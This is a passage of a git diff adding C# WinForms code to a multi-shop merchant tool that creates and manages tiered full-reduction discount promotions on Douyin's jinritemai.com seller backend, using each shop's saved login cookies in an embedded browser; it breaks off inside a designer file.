ucGroupBoxEx3.Visible = false; + ucGroupBoxEx4.Location = new Point(ucGroupBoxEx3.Location.X, ucGroupBoxEx3.Location.Y); + ucGroupBoxEx4.Visible = true; + if (rdoDiscount.Checked) + { + panel12.Visible = false; + panel16.Visible = true; + } + else if (rdoReduction.Checked) + { + panel12.Visible = true; + panel16.Visible = false; + } + } + else if (rdoOverYuan.Checked) + { + ucGroupBoxEx3.Visible = true; + ucGroupBoxEx4.Visible = false; + } + } + + private void btnAdd1_Click(object sender, EventArgs e) + { + if (btnAdd1.Text == "增加规则(1/5)") + { + panel3.Visible = true; + btnRemove1.Enabled = true; + btnAdd1.Text = "增加规则(2/5)"; + } + else if (btnAdd1.Text == "增加规则(2/5)") + { + panel4.Visible = true; + btnAdd1.Text = "增加规则(3/5)"; + } + else if (btnAdd1.Text == "增加规则(3/5)") + { + panel6.Visible = true; + btnAdd1.Text = "增加规则(4/5)"; + } + else if (btnAdd1.Text == "增加规则(4/5)") + { + panel7.Visible = true; + btnAdd1.Text = "增加规则(5/5)"; + btnAdd1.Enabled = false; + } + } + + public string getbtnAdd1(string str) + { + var res = "增加规则(1/5)"; + if (str == "增加规则(5/5)") + res = "增加规则(4/5)"; + else if (str == "增加规则(4/5)") + res = "增加规则(3/5)"; + else if (str == "增加规则(3/5)") + res = "增加规则(2/5)"; + return res; + } + + private void btnRemove1_Click(object sender, EventArgs e) + { + if (panel7.Visible) + { + txtP1.Text = txtP3.Text; + txtP2.Text = txtP4.Text; + txtP3.Text = txtP5.Text; + txtP4.Text = txtP6.Text; + txtP5.Text = txtP7.Text; + txtP6.Text = txtP8.Text; + txtP7.Text = txtP9.Text; + txtP8.Text = txtP10.Text; + txtP9.Text = txtP10.Text = string.Empty; + panel7.Visible = false; + } + else if (panel6.Visible) + { + txtP1.Text = txtP3.Text; + txtP2.Text = txtP4.Text; + txtP3.Text = txtP5.Text; + txtP4.Text = txtP6.Text; + txtP5.Text = txtP7.Text; + txtP6.Text = txtP8.Text; + txtP7.Text = txtP8.Text = string.Empty; + panel6.Visible = false; + } + else if (panel4.Visible) + { + txtP1.Text = txtP3.Text; + txtP2.Text = txtP4.Text; + txtP3.Text = txtP5.Text; + txtP4.Text = txtP6.Text; + txtP5.Text = txtP6.Text = string.Empty; + panel4.Visible = false; + } + else if (panel3.Visible) + { + txtP1.Text = txtP3.Text; + txtP2.Text = txtP4.Text; + txtP3.Text = txtP4.Text = string.Empty; + panel3.Visible = false; + btnRemove1.Enabled = false; + } + + btnAdd1.Text = getbtnAdd1(btnAdd1.Text); + if (!btnAdd1.Enabled) + btnAdd1.Enabled = true; + } + + private void btnRemove2_Click(object sender, EventArgs e) + { + if (panel7.Visible) + { + txtP3.Text = txtP5.Text; + txtP4.Text = txtP6.Text; + txtP5.Text = txtP7.Text; + txtP6.Text = txtP8.Text; + txtP7.Text = txtP9.Text; + txtP8.Text = txtP10.Text; + txtP9.Text = txtP10.Text = string.Empty; + panel7.Visible = false; + } + else if (panel6.Visible) + { + txtP3.Text = txtP5.Text; + txtP4.Text = txtP6.Text; + txtP5.Text = txtP7.Text; + txtP6.Text = txtP8.Text; + txtP7.Text = txtP8.Text = string.Empty; + panel6.Visible = false; + } + else if (panel4.Visible) + { + txtP3.Text = txtP5.Text; + txtP4.Text = txtP6.Text; + txtP5.Text = txtP6.Text = string.Empty; + panel4.Visible = false; + } + else + { + txtP3.Text = txtP4.Text = string.Empty; + panel3.Visible = false; + } + + btnAdd1.Text = getbtnAdd1(btnAdd1.Text); + if (!btnAdd1.Enabled) + btnAdd1.Enabled = true; + } + + private void btnRemove3_Click(object sender, EventArgs e) + { + if (panel7.Visible) + { + txtP5.Text = txtP7.Text; + txtP6.Text = txtP8.Text; + txtP7.Text = txtP9.Text; + txtP8.Text = txtP10.Text; + txtP9.Text = txtP10.Text = string.Empty; + panel7.Visible = false; + } + else if (panel6.Visible) + { + txtP5.Text = txtP7.Text; + txtP6.Text = txtP8.Text; + txtP7.Text = txtP8.Text = string.Empty; + panel6.Visible = false; + } + else + { + txtP5.Text = txtP6.Text = string.Empty; + panel4.Visible = false; + } + + btnAdd1.Text = getbtnAdd1(btnAdd1.Text); + if (!btnAdd1.Enabled) + btnAdd1.Enabled = true; + } + + private void btnRemove4_Click(object sender, EventArgs e) + { + if (panel7.Visible) + { + txtP7.Text = txtP9.Text; + txtP8.Text = txtP10.Text; + txtP9.Text = txtP10.Text = string.Empty; + panel7.Visible = false; + } + else + { + txtP7.Text = txtP8.Text = string.Empty; + panel6.Visible = false; + } + + btnAdd1.Text = getbtnAdd1(btnAdd1.Text); + if (!btnAdd1.Enabled) + btnAdd1.Enabled = true; + } + + private void btnRemove5_Click(object sender, EventArgs e) + { + txtP9.Text = txtP10.Text = string.Empty; + panel7.Visible = false; + + btnAdd1.Text = "增加规则(4/5)"; + if (!btnAdd1.Enabled) + btnAdd1.Enabled = true; + } + + private void btnAdd2_Click(object sender, EventArgs e) + { + if (btnAdd2.Text == "增加规则(1/3)") + { + panel10.Visible = true; + btnRemove6.Enabled = true; + btnAdd2.Text = "增加规则(2/3)"; + } + else if (btnAdd2.Text == "增加规则(2/3)") + { + panel11.Visible = true; + btnAdd2.Text = "增加规则(3/3)"; + btnAdd2.Enabled = false; + } + } + + public string getbtnAdd2(string str) + { + var res = "增加规则(1/3)"; + if (str == "增加规则(3/3)") + res = "增加规则(2/3)"; + return res; + } + + private void btnRemove6_Click(object sender, EventArgs e) + { + if (panel11.Visible) + { + txtP11.Text = txtP13.Text; + txtP12.Text = txtP14.Text; + txtP13.Text = txtP15.Text; + txtP14.Text = txtP16.Text; + txtP15.Text = txtP16.Text = string.Empty; + panel11.Visible = false; + } + else if (panel10.Visible) + { + txtP11.Text = txtP13.Text; + txtP12.Text = txtP14.Text; + txtP13.Text = txtP14.Text = string.Empty; + panel10.Visible = false; + btnRemove6.Enabled = false; + } + btnAdd2.Text = getbtnAdd2(btnAdd2.Text); + if (!btnAdd2.Enabled) + btnAdd2.Enabled = true; + } + + private void btnRemove7_Click(object sender, EventArgs e) + { + if (panel11.Visible) + { + txtP13.Text = txtP15.Text; + txtP14.Text = txtP16.Text; + txtP15.Text = txtP16.Text = string.Empty; + panel11.Visible = false; + } + else + { + txtP13.Text = txtP14.Text = string.Empty; + panel10.Visible = false; + btnRemove6.Enabled = false; + } + btnAdd2.Text = getbtnAdd2(btnAdd2.Text); + if (!btnAdd2.Enabled) + btnAdd2.Enabled = true; + } + + private void btnRemove8_Click(object sender, EventArgs e) + { + txtP15.Text = txtP16.Text = string.Empty; + panel11.Visible = false; + + btnAdd2.Text = "增加规则(2/3)"; + if (!btnAdd2.Enabled) + btnAdd2.Enabled = true; + } + + private void btnAdd3_Click(object sender, EventArgs e) + { + if (btnAdd3.Text == "增加规则(1/3)") + { + panel14.Visible = true; + btnRemove9.Enabled = true; + btnAdd3.Text = "增加规则(2/3)"; + } + else if (btnAdd3.Text == "增加规则(2/3)") + { + panel13.Visible = true; + btnAdd3.Text = "增加规则(3/3)"; + btnAdd3.Enabled = false; + } + } + + private void btnRemove9_Click(object sender, EventArgs e) + { + if (panel13.Visible) + { + txtP17.Text = txtP19.Text; + txtP18.Text = txtP20.Text; + txtP19.Text = txtP21.Text; + txtP20.Text = txtP22.Text; + txtP21.Text = txtP22.Text = string.Empty; + panel13.Visible = false; + } + else if (panel14.Visible) + { + txtP17.Text = txtP19.Text; + txtP18.Text = txtP20.Text; + txtP19.Text = txtP20.Text = string.Empty; + panel14.Visible = false; + btnRemove9.Enabled = false; + } + btnAdd3.Text = getbtnAdd2(btnAdd3.Text); + if (!btnAdd3.Enabled) + btnAdd3.Enabled = true; + } + + private void btnRemove10_Click(object sender, EventArgs e) + { + if (panel13.Visible) + { + txtP19.Text = txtP21.Text; + txtP20.Text = txtP22.Text; + txtP21.Text = txtP22.Text = string.Empty; + panel13.Visible = false; + } + else + { + txtP19.Text = txtP20.Text = string.Empty; + panel14.Visible = false; + btnRemove9.Enabled = false; + } + btnAdd3.Text = getbtnAdd2(btnAdd3.Text); + if (!btnAdd3.Enabled) + btnAdd3.Enabled = true; + } + + private void btnRemove11_Click(object sender, EventArgs e) + { + txtP21.Text = txtP22.Text = string.Empty; + panel13.Visible = false; + + btnAdd3.Text = "增加规则(2/3)"; + if (!btnAdd3.Enabled) + btnAdd3.Enabled = true; + } + + private void rdoDiscount_CheckedChanged(object sender, EventArgs e) + { + if (rdoReduction.Checked) + { + panel12.Visible = true; + panel16.Visible = false; + } + else + { + panel12.Visible = false; + panel16.Visible = true; + } + } + + private void btnGetProduct_Click(object sender, EventArgs e) + { + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺!"); + return; + } + btnManagerAct.Enabled = false; + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + if (ShopListForm.Instance == null) + ShopListForm.Instance = new ShopListForm(); + ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + if (shop.LoginStatus != "登录成功") + { + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + row.Cells["colLoginStatus"].Value = "未登录"; + row.Cells["colCanUse"].Value = false; + } + })); + continue; + } + + FullMinusShopForm fullMinusShopForm = null; + Invoke(new Action(() => + { + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + if (tab == null) + { + tab = new TabPage(); + tab.Name = "tab" + shop.ShopAccountId; + tab.Text = shop.ShopAccount; + ucTabControl1.TabPages.Add(tab); + + FullMinusShopForm fullMinusShop = new FullMinusShopForm(shop); + fullMinusShop.fullMinusForm = this; + fullMinusShop.TopLevel = false; + fullMinusShop.Left = 0; + fullMinusShop.Top = 0; + fullMinusShop.FormBorderStyle = FormBorderStyle.None; + fullMinusShop.AutoSize = true; + fullMinusShop.Dock = DockStyle.Fill; + fullMinusShop.Show(); + tab.Controls.Add(fullMinusShop); + } + if (tab.Controls.Count > 0) + { + fullMinusShopForm = tab.Controls[0] as FullMinusShopForm; + ucTabControl1.SelectedTab = tab; + } + })); + if (fullMinusShopForm != null) + { + fullMinusShopForm.GetProduct(); + } + } + Invoke(new Action(() => { btnManagerAct.Enabled = true; })); + }, cancellationTokenSource.Token); + } + + public void GetProductByCef(DouShopLoginInfo shop) + { + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + Helper.CustomResourceRequestHandlerLocal resourceRequestHandler = new Helper.CustomResourceRequestHandlerLocal(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadCompleteEvent; + webBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + webBrowser.LifeSpanHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + webBrowser.SendToBack(); + splitContainer3.Panel1.Controls.Add(webBrowser); + })); + } + while (webBrowser.Tag != null) + Thread.Sleep(Randomx.GetId(50, 100)); + + if (cancellationTokenSource.IsCancellationRequested) + return; + + webBrowser.Tag = shop; + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + Thread.Sleep(500); + + var targetUrl = "https://fxg.jinritemai.com/market/center/tools/moneyoff"; + webBrowser.Load(targetUrl); + + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(3000); + + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + Thread.Sleep(3000); + } + + private void RequestHandler_ResourceLoadCompleteEvent(object sender, string url, string postData, string responseData, CefSharp.IRequest iRequest) + { + if (url.StartsWith("https://fxg.jinritemai.com/marketing/activity/v1/query_full_discount_activity?activity_status=")) + { + if (webBrowser.Tag != null) + { + var listUrl = url; + var referrerUrl = iRequest.ReferrerUrl; + var result = responseData; + Dictionary headers = new Dictionary(); + foreach (var hk in iRequest.Headers.AllKeys) + { + headers[hk] = iRequest.Headers[hk]; + } + + var shop = webBrowser.Tag as DouShopLoginInfo; + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + if (tab != null && this.btnManagerAct.Enabled == false) + { + var minusShopForm = tab.Controls[0] as FullMinusShopForm; + Task.Run(() => + { + var cookies = CEFBrowser.GetCookie("", webBrowser.RequestContext.GetCookieManager(null)); + if (minusShopForm != null) + minusShopForm.GetProductSim(listUrl, referrerUrl, headers, result, dptStartTime.Value.ToString(), dptEndTime.Value.ToString()); + + webBrowser.Tag = null; + Thread.Sleep(1000); + }); + } + else + { + tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount + "活动管理" && t.Name == "tab" + shop.ShopAccountId + "Active"); + if (tab != null) + { + var activeForm = tab.Controls[0] as FullMinusActiveForm; + + Task.Run(() => + { + if (activeForm != null) + activeForm.GetActiveSim(listUrl, referrerUrl, headers, result); + + webBrowser.Tag = null; + Thread.Sleep(1000); + }); + } + } + } + } + } + + private void btnStopGetProduct_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + webBrowser.Tag = null; + } + + private void btnSubAct_Click(object sender, EventArgs e) + { + if (lstShopId.Count <= 0) + { + BaseMsgForm.ShowInfo("请选择要设置的店铺!"); + return; + } + //活动名称 + var actName = txtActName.Text.Trim(); + if (actName == string.Empty) + actName = "活动" + "-" + DateTime.Now.ToString("ssffff"); + else if (actName.Length > 10) + { + if (BaseMsgForm.ShowConfirm("活动名称不能超过十个字,确定继续使用该名称吗?").DialogResult == DialogResult.OK) + actName = actName.Substring(0, 10); + else + return; + } + var enable_use_coupon = rdoAllow.Checked; + if (dptStartTime.Value >= dptEndTime.Value) + { + BaseMsgForm.ShowInfo("活动时间设置有误!"); + return; + } + + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + var cookies = shop.Cookies; + if (ucTabControl1.TabPages["tab" + shopId] != null && ucTabControl1.TabPages["tab" + shopId].Controls.Count > 0) + { + var minusForm = ucTabControl1.TabPages["tab" + shopId].Controls[0] as FullMinusShopForm; + if (minusForm != null) + { + Invoke(new Action(() => { minusForm.statusBar.lblTaskStatus.Text = "正在创建活动"; })); + List strList = minusForm.lstProductId; + if (strList.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺 " + shop.ShopAccount + " 参加活动的商品!"); + return; + } + else + { + try + { + var postData = string.Empty; + int activity_type = 1; + int discount_type = 3; + if (rdoOverPieces.Checked) + { + activity_type = 2; + if (rdoDiscount.Checked) + discount_type = 1; + } + postData = postData + "{\"full_discount_activity\":{\"activity_type\":" + activity_type + ",\"discount_type\":" + discount_type + ",\"start_time\":" + BaseClass.DateTimeToTimestampSeconds(dptStartTime.Value) + ",\"end_time\":" + BaseClass.DateTimeToTimestampSeconds(dptEndTime.Value) + ",\"discounts\":["; + if (rdoOverYuan.Checked) + { + var overP1 = txtP1.Text.Trim(); var disP2 = txtP2.Text.Trim(); + if (overP1 == string.Empty || overP1.ParseToDouble() <= 0 || overP1.ParseToDouble() > 99999 || disP2 == string.Empty || disP2.ParseToDouble() <= 0 || disP2.ParseToDouble() >= overP1.ParseToDouble()) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,金额需大于0小于100000,小数点后最多2位,!"); })); + return; + } + postData = postData + "{\"condition_value\":\"" + overP1.ParseToDouble() * 100 + "\",\"discount\":\"" + disP2.ParseToDouble() * 100 + "\"}"; + if (panel3.Visible && txtP3.Text.Trim() != string.Empty && txtP4.Text.Trim() != string.Empty) + { + var overP3 = txtP3.Text.Trim().ParseToDouble(); var disP4 = txtP4.Text.Trim().ParseToDouble(); + if (overP3 <= overP1.ParseToDouble() || overP3 > 99999 || disP4 <= disP2.ParseToDouble() || disP4 >= overP3) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,金额需大于0小于100000,小数点后最多2位,下一层级的【优惠】要大于上一层级!"); })); + return; + } + postData = postData + ",{\"condition_value\":\"" + overP3 * 100 + "\",\"discount\":\"" + disP4 * 100 + "\"}"; + + if (panel4.Visible && txtP5.Text.Trim() != string.Empty && txtP6.Text.Trim() != string.Empty) + { + var overP5 = txtP5.Text.Trim().ParseToDouble(); var disP6 = txtP6.Text.Trim().ParseToDouble(); + if (overP5 <= overP3 || overP5 > 99999 || disP6 <= disP4 || disP6 >= overP5) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,金额需大于0小于100000,小数点后最多2位,下一层级的【优惠】要大于上一层级!"); })); + return; + } + postData = postData + ",{\"condition_value\":\"" + overP5 * 100 + "\",\"discount\":\"" + disP6 * 100 + "\"}"; + + if (panel6.Visible && txtP7.Text.Trim() != string.Empty && txtP8.Text.Trim() != string.Empty) + { + var overP7 = txtP7.Text.Trim().ParseToDouble(); var disP8 = txtP8.Text.Trim().ParseToDouble(); + if (overP7 <= overP5 || overP7 > 99999 || disP8 <= disP6 || disP8 >= overP7) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,金额需大于0小于100000,小数点后最多2位,下一层级的【优惠】要大于上一层级!"); })); + return; + } + postData = postData + ",{\"condition_value\":\"" + overP7 * 100 + "\",\"discount\":\"" + disP8 * 100 + "\"}"; + + if (panel7.Visible && txtP9.Text.Trim() != string.Empty && txtP10.Text.Trim() != string.Empty) + { + var overP9 = txtP9.Text.Trim().ParseToDouble(); var disP10 = txtP10.Text.Trim().ParseToDouble(); + if (overP9 <= overP7 || overP9 > 99999 || disP10 <= disP8 || disP10 >= overP9) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,金额需大于0小于100000,小数点后最多2位,下一层级的【优惠】要大于上一层级!"); })); + return; + } + postData = postData + ",{\"condition_value\":\"" + overP9 * 100 + "\",\"discount\":\"" + disP10 * 100 + "\"}"; + } + } + } + } + } + else + { + if (rdoDiscount.Checked) + { + var overP11 = txtP11.Text.Trim(); var disP12 = txtP12.Text.Trim(); + if (overP11 == string.Empty || disP12 == string.Empty || overP11.ParseToLong() < 2 || overP11.ParseToLong() > 999 || disP12.ParseToDouble() <= 0 || disP12.ParseToDouble() >= 10) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,件数需大于1小于1000,打折需大于0小于10,小数点后最多1位!"); })); + return; + } + postData = postData + "{\"condition_value\":\"" + overP11 + "\",\"discount\":\"" + disP12.ParseToDouble() * 10 + "\"}"; + + if (panel10.Visible && txtP13.Text.Trim() != string.Empty && txtP14.Text.Trim() != string.Empty) + { + var overP13 = txtP13.Text.Trim().ParseToLong(); var disP14 = txtP14.Text.Trim().ParseToDouble(); + if (overP13 <= overP11.ParseToLong() || overP13 > 999 || disP14 >= disP12.ParseToDouble() || disP14 <= 0) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,件数需大于1小于1000,打折需大于0小于10,小数点后最多1位,下一层级的【优惠】要大于上一层级!"); })); + return; + } + postData = postData + ",{\"condition_value\":\"" + overP13 + "\",\"discount\":\"" + disP14 * 10 + "\"}"; + + if (panel11.Visible && txtP15.Text.Trim() != string.Empty && txtP16.Text.Trim() != string.Empty) + { + var overP15 = txtP15.Text.Trim().ParseToLong(); var disP16 = txtP16.Text.Trim().ParseToDouble(); + if (overP15 <= overP13 || overP15 > 999 || disP16 >= disP14 || disP16 <= 0) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,件数需大于1小于1000,打折需大于0小于10,小数点后最多1位,下一层级的【优惠】要大于上一层级!"); })); + return; + } + postData = postData + ",{\"condition_value\":\"" + overP15 + "\",\"discount\":\"" + disP16 * 10 + "\"}"; + } + } + } + else + { + var overP17 = txtP17.Text.Trim(); var disP18 = txtP18.Text.Trim(); + if (overP17 == string.Empty || disP18 == string.Empty || overP17.ParseToLong() < 2 || overP17.ParseToLong() > 999 || disP18.ParseToDouble() <= 0 || disP18.ParseToDouble() > 99999) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,件数需大于1小于1000,金额需大于0小于100000,小数点后最多2位!"); })); + return; + } + postData = postData + "{\"condition_value\":\"" + overP17 + "\",\"discount\":\"" + disP18.ParseToDouble() * 100 + "\"}"; + + if (panel14.Visible && txtP19.Text.Trim() != string.Empty && txtP20.Text.Trim() != string.Empty) + { + var overP19 = txtP19.Text.Trim().ParseToLong(); var disP20 = txtP20.Text.Trim().ParseToDouble(); + if (overP19 <= overP17.ParseToLong() || overP19 > 999 || disP20 <= disP18.ParseToDouble() || disP20 > 99999) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,件数需大于1小于1000,金额需大于0小于100000,小数点后最多2位,下一层级的【优惠】要大于上一层级!"); })); + return; + } + postData = postData + ",{\"condition_value\":\"" + overP19 + "\",\"discount\":\"" + disP20 * 100 + "\"}"; + + if (panel13.Visible && txtP21.Text.Trim() != string.Empty && txtP22.Text.Trim() != string.Empty) + { + var overP21 = txtP21.Text.Trim().ParseToLong(); var disP22 = txtP22.Text.Trim().ParseToDouble(); + if (overP21 <= overP19 || overP21 > 999 || disP22 <= disP20 || disP22 > 99999) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("优惠设置有误,件数需大于1小于1000,金额需大于0小于100000,小数点后最多2位,下一层级的【优惠】要大于上一层级!"); })); + return; + } + postData = postData + ",{\"condition_value\":\"" + overP21 + "\",\"discount\":\"" + disP22 * 100 + "\"}"; + } + } + } + } + postData = postData + "],\"activity_name\":\"" + actName + "\",\"enable_use_coupon\":" + enable_use_coupon.ToString().ToLower() + ",\"activity_products\":["; + if (strList.Count > 100) + strList = strList.Take(100).ToList(); + + foreach (var id in strList) + { + DouProductPromotionListInfo info = minusForm.productList.FirstOrDefault(q => q.product_id == id); + if (info != null) + { + postData = postData + "{\"product_id\":\"" + info.product_id + "\",\"name\":\"" + info.name + "\",\"img\":\"" + info.img + "\",\"stock_num\":" + info.stock_num + ",\"max_price\":" + info.max_price + ",\"min_price\":" + info.min_price + "},"; + } + } + postData = postData.TrimEnd(',') + "]}}"; + + string checkPro = minusForm.checkFullDiscountActivity(postData, cookies); + if (checkPro.Contains(",\"msg\":\"成功\",\"st\":0")) + { + string createPro = minusForm.createFullDiscountActivity(postData, cookies); + if (createPro.Contains(",\"msg\":\"成功\",\"st\":0")) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage("活动" + actName + "创建成功。"); })); + if (dptStartTime.Value <= DateTime.Now && dptEndTime.Value > DateTime.Now) + minusForm.RefreshdgvProduct(strList); + + var tab1 = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount + "活动管理" && t.Name == "tab" + shop.ShopAccountId + "Active"); + if (tab1 != null) + { + FullMinusActiveForm actForm = tab1.Controls[0] as FullMinusActiveForm; + actForm.activeList.Clear(); + } + } + else + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage(actName + "活动创建失败!原因:" + BaseRegex.GetStringJson(ref createPro, "msg")); })); + } + } + else + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage(actName + "活动创建失败!原因:" + BaseRegex.GetStringJson(ref checkPro, "msg")); })); + } + } + catch (Exception ex) + { + Invoke(new Action(() => { minusForm.ShowVisitorMessage(actName + "活动创建失败!原因:" + ex.Message); })); + } + } + Invoke(new Action(() => { minusForm.statusBar.lblTaskStatus.Text = "活动创建结束"; })); + } + } + } + }); + } + + private void btnManagerAct_Click(object sender, EventArgs e) + { + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺!"); + return; + } + btnGetProduct.Enabled = false; + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + if (ShopListForm.Instance == null) + ShopListForm.Instance = new ShopListForm(); + ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + if (shop.LoginStatus != "登录成功") + { + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + row.Cells["colLoginStatus"].Value = "未登录"; + row.Cells["colCanUse"].Value = false; + } + })); + continue; + } + + FullMinusActiveForm actForm = null; + Invoke(new Action(() => + { + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount + "活动管理" && t.Name == "tab" + shop.ShopAccountId + "Active"); + if (tab == null) + { + tab = new TabPage(); + tab.Name = "tab" + shop.ShopAccountId + "Active"; + tab.Text = shop.ShopAccount + "活动管理"; + this.ucTabControl1.TabPages.Add(tab); + + var minusActiveForm = new FullMinusActiveForm(shop); + minusActiveForm.fullMinusForm = this; + minusActiveForm.TopLevel = false; + minusActiveForm.Left = 0; + minusActiveForm.Top = 0; + minusActiveForm.FormBorderStyle = FormBorderStyle.None; + minusActiveForm.AutoSize = true; + minusActiveForm.Dock = DockStyle.Fill; + minusActiveForm.Show(); + tab.Controls.Add(minusActiveForm); + } + + if (tab.Controls.Count > 0) + { + actForm = tab.Controls[0] as FullMinusActiveForm; + this.ucTabControl1.SelectedTab = tab; + } + })); + if (actForm != null) + { + actForm.GetActive(); + } + } + Invoke(new Action(() => { btnGetProduct.Enabled = true; })); + }, cancellationTokenSource.Token); + } + + public void GetActiveByCef(DouShopLoginInfo shop) + { + GetProductByCef(shop); + } + + private void btnClear_Click(object sender, EventArgs e) + { + if (BaseMsgForm.ShowConfirm("确定要清空结果吗?清空后需要重新获取!").DialogResult == DialogResult.OK) + { + foreach (TabPage tp in ucTabControl1.TabPages) + { + if (tp.Controls.Count > 0) + { + if (tp.Text.Contains("活动管理")) + { + var managerActiveForm = tp.Controls[0] as FullMinusActiveForm; + if (managerActiveForm != null) + managerActiveForm.ClearData(); + } + else + { + var salesForm = tp.Controls[0] as FullMinusShopForm; + if (salesForm != null) + salesForm.ClearData(); + } + } + } + } + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/FullMinusForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusForm.resx new file mode 100644 index 0000000..82921c0 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusForm.resx @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/FullMinusShopForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusShopForm.Designer.cs new file mode 100644 index 0000000..62d6e61 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusShopForm.Designer.cs @@ -0,0 +1,206 @@ + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class FullMinusShopForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvProduct = new LittleRabbit.UserComponent.DataGridViewEx(); + this.label1 = new System.Windows.Forms.Label(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colStock = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + 